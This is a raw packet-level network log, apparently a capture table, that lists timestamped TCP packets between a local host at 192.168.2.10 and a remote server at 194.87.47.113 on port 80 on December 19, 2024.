Dec 19, 2024 08:21:28.552474976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.552566051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.552602053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.553097010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.553134918 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.553206921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.553905010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.554058075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.554095984 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.554685116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.554789066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.554794073 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.555454016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.555565119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.555602074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.556310892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.556346893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.556382895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.557081938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.557276964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.557315111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.557853937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.557889938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.557962894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.558702946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.558784962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.558846951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.559469938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.559590101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.559628963 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.560281038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.560317993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.560369968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.561072111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.561158895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.561193943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.561774969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.561815977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.561876059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.562613010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.562719107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.562767029 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.563456059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.563575029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.563612938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.564169884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.564204931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.564307928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.565196991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.565326929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.565366983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.566234112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.566273928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.566325903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.567096949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.567151070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.567152977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.567919016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.568042994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.568083048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.568766117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.568805933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.568969011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.569655895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.569763899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.569828033 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.570384026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.570425034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.570497990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.571212053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.571284056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.571332932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.571667910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.571706057 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.571717024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.572309971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.572410107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.572451115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.573158026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.573198080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.573235989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.573791027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.574003935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.574053049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.574754953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.574801922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.574832916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.575556040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.575633049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.575651884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.575728893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.576332092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.576510906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.576553106 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.577172995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.577224016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.644408941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.644495964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.644567966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.644795895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.644912958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.644949913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.645709991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.645893097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.645952940 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.646536112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.654161930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.654201984 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.654400110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.654697895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.654731035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.654795885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.655503035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.655539036 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.655543089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.656069040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.656104088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.688112974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.688136101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.688182116 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.688477993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.688589096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.688627958 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.689230919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.689589024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.689624071 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.689699888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.690442085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.690469980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.690479040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.691226006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.691265106 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.691292048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.691958904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.691994905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.692024946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.692707062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.692744017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.702462912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.702553034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.702574968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.702599049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.702666044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.702704906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.703434944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.703578949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.703619003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.704166889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.704251051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.704286098 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.704926968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.705100060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.705137014 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.705776930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.705863953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.705899000 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.706506968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.706634045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.706674099 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.707278967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.743613958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.743669987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.743757010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.743936062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.743973017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.744041920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.744782925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.744826078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.744859934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.745450974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.745488882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.745594978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.746263981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.746301889 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.746444941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.747019053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.747060061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.747134924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.747967005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.748003960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.748138905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.748918056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.748948097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.748965025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.750024080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.750061989 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.750191927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.751030922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.751066923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.751162052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.751705885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.751718998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.751745939 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.752265930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.752304077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.752392054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.753062010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.753117085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.753164053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.753773928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.753813982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.753930092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.754484892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.754520893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.754555941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.754925013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.754961967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.755011082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.755702019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.755738020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.755770922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.756525040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.756565094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.756611109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.757296085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.757335901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.757386923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.758179903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.758219957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.758235931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.758855104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.758892059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.758969069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.759654999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.759695053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.759749889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.760454893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.760490894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.760533094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.761307955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.761343956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.761389017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.762033939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.762069941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.762231112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.762837887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.762882948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.762940884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.763623953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.763664961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.763711929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.764458895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.764492989 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.764530897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.765304089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.765327930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.765340090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.766035080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.766068935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.766102076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.766823053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.766859055 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.766891956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.767695904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.767729998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.767843008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.768451929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.768472910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.768486977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.769117117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.769154072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.836524963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.836582899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.836699009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.836941957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.837065935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.837636948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.837764978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.837780952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.837861061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.838391066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.846141100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.846254110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.846611023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.846658945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.846658945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.846697092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.846776009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.847152948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.847657919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.847738028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.848159075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.848259926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.880453110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.880532026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.880572081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.880820036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.880964041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.880979061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.881613016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.881669044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.881757975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.882394075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.882474899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.882508039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.883270979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.883374929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.883480072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.899564028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.899610043 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.899614096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.899627924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.899673939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.899686098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.899698019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.899718046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.899718046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.899807930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.899820089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.899873972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.899887085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.899899006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.899909973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.899909973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.899912119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.900185108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.900198936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.900218964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.900298119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.900311947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.900324106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.900332928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.900332928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.900336981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.900453091 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.935937881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.936086893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.936125040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.936306953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.936351061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.936474085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.937077045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.937242031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.937877893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.937925100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.937925100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.937982082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.938658953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.938700914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.938746929 CET	80	49720	194.87.47.113	192.168.2.10
